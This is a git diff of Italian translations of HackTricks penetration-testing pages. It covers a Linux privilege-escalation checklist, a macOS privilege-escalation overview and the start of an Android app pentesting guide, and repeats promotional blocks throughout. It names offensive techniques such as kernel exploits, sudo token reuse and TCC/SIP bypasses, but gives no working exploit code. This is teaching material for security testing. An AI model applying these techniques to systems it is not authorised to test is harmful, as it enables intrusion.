* [ ] Controlla le [**variabili env**](privilege-escalation/#env-info), ci sono dettagli sensibili?
|
* [ ] Controlla le [**variabili env**](privilege-escalation/#env-info), ci sono dettagli sensibili?
|
||||||
* [ ] Cerca [**exploit del kernel**](privilege-escalation/#kernel-exploits) **utilizzando script** (DirtyCow?)
|
* [ ] Cerca [**exploit del kernel**](privilege-escalation/#kernel-exploits) **utilizzando script** (DirtyCow?)
|
||||||
* [ ] **Controlla** se la [**versione di sudo** è vulnerabile](privilege-escalation/#sudo-version)
|
* [ ] **Controlla** se la [**versione di sudo** è vulnerabile](privilege-escalation/#sudo-version)
|
||||||
* [ ] [**Verifica la firma di Dmesg** fallita](privilege-escalation/#dmesg-signature-verification-failed)
|
* [ ] [**Verifica della firma Dmesg fallita**](privilege-escalation/#dmesg-signature-verification-failed)
|
||||||
* [ ] Maggiore enumerazione del sistema ([data, statistiche di sistema, informazioni sulla cpu, stampanti](privilege-escalation/#more-system-enumeration))
|
* [ ] Maggiore enumerazione del sistema ([data, statistiche di sistema, informazioni sulla cpu, stampanti](privilege-escalation/#more-system-enumeration))
|
||||||
* [ ] [**Enumera più difese**](privilege-escalation/#enumerate-possible-defenses)
|
* [ ] [**Enumera più difese**](privilege-escalation/#enumerate-possible-defenses)
|
||||||
|
|
||||||
### [Dischi](privilege-escalation/#drives)
|
### [Dischi](privilege-escalation/#drives)
|
||||||
|
|
||||||
* [ ] **Elenca i dischi** montati
|
* [ ] **Elenca i dischi** montati
|
||||||
* [ ] **Qualche disco non montato?**
|
* [ ] **Ci sono dischi non montati?**
|
||||||
* [ ] **Qualche credenziale in fstab?**
|
* [ ] **Ci sono credenziali in fstab?**
|
||||||
|
|
||||||
### [**Software installato**](privilege-escalation/#installed-software)
|
### [**Software installato**](privilege-escalation/#installed-software)
|
||||||
|
|
||||||
|
@ -121,7 +121,7 @@ Rimani informato sui nuovi bug bounty in partenza e aggiornamenti cruciali delle
|
||||||
* [ ] [**Token SUDO disponibili**](privilege-escalation/#reusing-sudo-tokens)? [**Puoi creare un token SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
|
* [ ] [**Token SUDO disponibili**](privilege-escalation/#reusing-sudo-tokens)? [**Puoi creare un token SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
|
||||||
* [ ] Puoi [**leggere o modificare i file sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
* [ ] Puoi [**leggere o modificare i file sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
||||||
* [ ] Puoi [**modificare /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
|
* [ ] Puoi [**modificare /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
|
||||||
* [ ] Comando [**OpenBSD DOAS**](privilege-escalation/#doas)
|
* [ ] [**Comando OpenBSD DOAS**](privilege-escalation/#doas)
|
||||||
|
|
||||||
### [Capacità](privilege-escalation/#capabilities)
|
### [Capacità](privilege-escalation/#capabilities)
|
||||||
|
|
||||||
|
@ -165,10 +165,10 @@ Rimani informato sui nuovi bug bounty in partenza e aggiornamenti cruciali delle
|
||||||
|
|
||||||
### [**Altri trucchi**](privilege-escalation/#other-tricks)
|
### [**Altri trucchi**](privilege-escalation/#other-tricks)
|
||||||
|
|
||||||
* [ ] Puoi [**abusare di NFS per escalare i privilegi**](privilege-escalation/#nfs-privilege-escalation)?
|
* [ ] Puoi [**sfruttare NFS per escalare i privilegi**](privilege-escalation/#nfs-privilege-escalation)?
|
||||||
* [ ] Hai bisogno di [**uscire da una shell restrittiva**](privilege-escalation/#escaping-from-restricted-shells)?
|
* [ ] Hai bisogno di [**uscire da una shell restrittiva**](privilege-escalation/#escaping-from-restricted-shells)?
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -179,7 +179,7 @@ Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi annunci**\
|
**Ultimi annunci**\
|
||||||
Rimani informato sui nuovi bug bounty in partenza e aggiornamenti cruciali delle piattaforme
|
Rimani informato sui nuovi bug bounty in partenza e aggiornamenti cruciali della piattaforma
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
@ -193,7 +193,7 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Sicurezza macOS e Escalation dei Privilegi
|
# Sicurezza macOS e Escalation dei Privilegi
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica il Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Impara e pratica il Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -10,23 +10,23 @@ Impara e pratica il Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**server HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Approfondimenti sul Hacking**\
|
**Approfondimenti sull'Hacking**\
|
||||||
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
|
|
||||||
**Notizie di Hacking in Tempo Reale**\
|
**Notizie di Hacking in Tempo Reale**\
|
||||||
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi Annunci**\
|
**Ultimi Annunci**\
|
||||||
Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali delle piattaforme
|
Rimani informato sui nuovi bug bounty in partenza e aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
@ -52,7 +52,7 @@ Se non sei familiare con macOS, dovresti iniziare a imparare le basi di macOS:
|
||||||
[macos-applefs.md](macos-applefs.md)
|
[macos-applefs.md](macos-applefs.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* L'**architettura** del **kernel**
|
* L'**architettura** del k**ernel**
|
||||||
|
|
||||||
{% content-ref url="mac-os-architecture/" %}
|
{% content-ref url="mac-os-architecture/" %}
|
||||||
[mac-os-architecture](mac-os-architecture/)
|
[mac-os-architecture](mac-os-architecture/)
|
||||||
|
@ -121,7 +121,7 @@ In macOS **le applicazioni e i binari possono avere permessi** per accedere a ca
|
||||||
|
|
||||||
Pertanto, un attaccante che desidera compromettere con successo una macchina macOS dovrà **escalare i suoi privilegi TCC** (o persino **bypassare SIP**, a seconda delle sue necessità).
|
Pertanto, un attaccante che desidera compromettere con successo una macchina macOS dovrà **escalare i suoi privilegi TCC** (o persino **bypassare SIP**, a seconda delle sue necessità).
|
||||||
|
|
||||||
Questi privilegi sono solitamente concessi sotto forma di **diritti** con cui l'applicazione è firmata, oppure l'applicazione potrebbe richiedere alcuni accessi e dopo che l'**utente li approva** possono essere trovati nei **database TCC**. Un altro modo in cui un processo può ottenere questi privilegi è essendo un **figlio di un processo** con quei **privilegi** poiché di solito sono **ereditati**.
|
Questi privilegi sono solitamente concessi sotto forma di **diritti** con cui l'applicazione è firmata, oppure l'applicazione potrebbe richiedere alcuni accessi e dopo che **l'utente li approva** possono essere trovati nei **database TCC**. Un altro modo in cui un processo può ottenere questi privilegi è essendo un **figlio di un processo** con quei **privilegi** poiché di solito sono **ereditati**.
|
||||||
|
|
||||||
Segui questi link per trovare diversi modi per [**escalare i privilegi in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), per [**bypassare TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) e come in passato [**SIP è stato bypassato**](macos-security-protections/macos-sip.md#sip-bypasses).
|
Segui questi link per trovare diversi modi per [**escalare i privilegi in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), per [**bypassare TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) e come in passato [**SIP è stato bypassato**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||||
|
|
||||||
|
@ -145,24 +145,24 @@ Certo, dal punto di vista di un red team, dovresti essere anche interessato a es
|
||||||
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
||||||
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**server HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Approfondimenti sul Hacking**\
|
**Approfondimenti sull'Hacking**\
|
||||||
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
|
|
||||||
**Notizie di Hacking in Tempo Reale**\
|
**Notizie di Hacking in Tempo Reale**\
|
||||||
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi Annunci**\
|
**Ultimi Annunci**\
|
||||||
Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali delle piattaforme
|
Rimani informato sui nuovi bug bounty in partenza e aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica il Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Impara e pratica il Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -170,7 +170,7 @@ Impara e pratica il Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,38 +1,38 @@
|
||||||
# Android Applications Pentesting
|
# Pentesting delle Applicazioni Android
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Hacking Insights**\
|
**Approfondimenti sul Hacking**\
|
||||||
Engage with content that delves into the thrill and challenges of hacking
|
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
|
|
||||||
**Real-Time Hack News**\
|
**Notizie di Hacking in Tempo Reale**\
|
||||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Latest Announcements**\
|
**Ultimi Annunci**\
|
||||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
## Android Applications Basics
|
## Fondamenti delle Applicazioni Android
|
||||||
|
|
||||||
È altamente raccomandato iniziare a leggere questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**:
|
È altamente consigliato iniziare a leggere questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**:
|
||||||
|
|
||||||
{% content-ref url="android-applications-basics.md" %}
|
{% content-ref url="android-applications-basics.md" %}
|
||||||
[android-applications-basics.md](android-applications-basics.md)
|
[android-applications-basics.md](android-applications-basics.md)
|
||||||
|
@ -41,20 +41,20 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
||||||
## ADB (Android Debug Bridge)
|
## ADB (Android Debug Bridge)
|
||||||
|
|
||||||
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo android (emulato o fisico).\
|
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo android (emulato o fisico).\
|
||||||
**ADB** consente di controllare i dispositivi sia tramite **USB** che **Network** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
|
**ADB** consente di controllare i dispositivi sia tramite **USB** che **rete** da un computer. Questa utility consente la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
|
||||||
|
|
||||||
Dai un'occhiata alla seguente lista di [**ADB Commands**](adb-commands.md) per imparare come usare adb.
|
Dai un'occhiata alla seguente lista di [**Comandi ADB**](adb-commands.md) per imparare come utilizzare adb.
|
||||||
|
|
||||||
## Smali
|
## Smali
|
||||||
|
|
||||||
A volte è interessante **modificare il codice dell'applicazione** per accedere a **informazioni nascoste** (forse password o flag ben offuscati). Quindi, potrebbe essere interessante decompilare l'apk, modificare il codice e ricompilarlo.\
|
A volte è interessante **modificare il codice dell'applicazione** per accedere a **informazioni nascoste** (forse password o flag ben offuscati). Quindi, potrebbe essere interessante decompilare l'apk, modificare il codice e ricompilarlo.\
|
||||||
[**In questo tutorial** puoi **imparare come decompilare un APK, modificare il codice Smali e ricompilare l'APK** con la nuova funzionalità](smali-changes.md). Questo potrebbe essere molto utile come **alternativa per diversi test durante l'analisi dinamica** che verranno presentati. Quindi, **tieni sempre a mente questa possibilità**.
|
[**In questo tutorial** puoi **imparare come decompilare un APK, modificare il codice Smali e ricompilare l'APK** con la nuova funzionalità](smali-changes.md). Questo potrebbe essere molto utile come **alternativa per diversi test durante l'analisi dinamica** che verranno presentati. Quindi, **tieni sempre a mente questa possibilità**.
|
||||||
|
|
||||||
## Other interesting tricks
|
## Altri trucchi interessanti
|
||||||
|
|
||||||
* [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
* [Falsificare la tua posizione nel Play Store](spoofing-your-location-in-play-store.md)
|
||||||
* **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
* **Scarica APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||||
* Extract APK from device:
|
* Estrai APK dal dispositivo:
|
||||||
```bash
|
```bash
|
||||||
adb shell pm list packages
|
adb shell pm list packages
|
||||||
com.android.insecurebankv2
|
com.android.insecurebankv2
|
||||||
|
@ -80,27 +80,27 @@ Per favore, [**leggi qui per trovare informazioni sui diversi decompilatori disp
|
||||||
|
|
||||||
### Ricerca di informazioni interessanti
|
### Ricerca di informazioni interessanti
|
||||||
|
|
||||||
Dando un'occhiata alle **stringhe** dell'APK puoi cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chiavi** **api**, **crittografia**, **bluetooth uuids**, **token** e qualsiasi cosa interessante... cerca anche per **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin hardcoded per l'app).
|
Dando un'occhiata alle **stringhe** dell'APK puoi cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chiavi** **api**, **crittografia**, **bluetooth uuids**, **token** e qualsiasi cosa interessante... cerca anche **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin hardcoded per l'app).
|
||||||
|
|
||||||
**Firebase**
|
**Firebase**
|
||||||
|
|
||||||
Fai particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiori informazioni su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiori informazioni su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||||
|
|
||||||
### Comprensione di base dell'applicazione - Manifest.xml, strings.xml
|
### Comprensione di base dell'applicazione - Manifest.xml, strings.xml
|
||||||
|
|
||||||
L'**esame del file \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* di un'applicazione può rivelare potenziali vulnerabilità di sicurezza\*\*. Questi file possono essere accessibili utilizzando decompilatori o rinominando l'estensione del file APK in .zip e poi decomprimendolo.
|
L'**esame dei file \_Manifest.xml\_\*\* e \*\*_**strings.xml**\_\*\* di un'applicazione può rivelare potenziali vulnerabilità di sicurezza\*\*. Questi file possono essere accessibili utilizzando decompilatori o rinominando l'estensione del file APK in .zip e poi decomprimendolo.
|
||||||
|
|
||||||
**Vulnerabilità** identificate dal **Manifest.xml** includono:
|
**Vulnerabilità** identificate dal **Manifest.xml** includono:
|
||||||
|
|
||||||
* **Applicazioni Debuggable**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per ulteriori informazioni su come sfruttare le applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo.
|
* **Applicazioni Debuggable**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per ulteriori informazioni su come sfruttare le applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo.
|
||||||
* **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere esplicitamente impostato per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
|
* **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere esplicitamente impostato per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
|
||||||
* **Sicurezza della Rete**: Le configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come i pin dei certificati e le impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
|
* **Sicurezza della Rete**: Configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come pin di certificato e impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
|
||||||
* **Attività e Servizi Esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Ulteriori analisi durante i test dinamici possono rivelare come sfruttare questi componenti.
|
* **Attività e Servizi Esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Ulteriori analisi durante i test dinamici possono rivelare come sfruttare questi componenti.
|
||||||
